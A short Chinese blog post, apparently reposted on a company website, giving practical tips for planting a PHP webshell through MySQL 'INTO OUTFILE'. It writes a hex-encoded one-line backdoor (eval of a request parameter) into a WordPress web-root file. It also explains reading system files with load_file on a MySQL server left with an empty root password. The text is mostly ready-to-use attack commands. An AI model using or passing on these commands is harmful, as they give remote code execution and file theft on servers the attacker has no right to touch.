企业资讯
- 企业新闻
- 行业文章

数据库outfile写shell一点心得

一点心得：
昨天在一个mysql数据库的console里面直接导出一句话的时候

用这种网上说的直接写出不成功

  select 0x3c3f706870206576616c28245f524551554553545b636d645d293b3f3e into outfile ‘e://appserv//www// 91ri.org //modules//wordpress//app.php’;

1	select 0x3c3f706870206576616c28245f524551554553545b636d645d293b3f3e into outfile ‘e://appserv//www// 91ri.org //modules//wordpress//app.php’;

还是老老实实建表再写：

 select code from text into outfile ‘e://appserv//www// 91ri.org //modules//wordpress//app.php’;

1	select code from text into outfile ‘e://appserv//www// 91ri.org //modules//wordpress//app.php’;

而且对于windows一定得用上面这样的形式的绝对路径
网上的大部分都是说的linux下的

=========================================
刚碰到一个root空口令的MySql，进phpMyAdmin，outfile成功，但是无法load_file。如下解决：
建表:
create table test (a text);
insert into test (a) values (load_file(‘c:boot.ini’));
select * from test;
成功解决。

link:http://nana.blackbap.org/?p=archive&id=21

本文由网络安全攻防研究室（www.91ri.org）信息安全小组收集整理，转载请注明出处

鸿大千秋网站建设团队敬上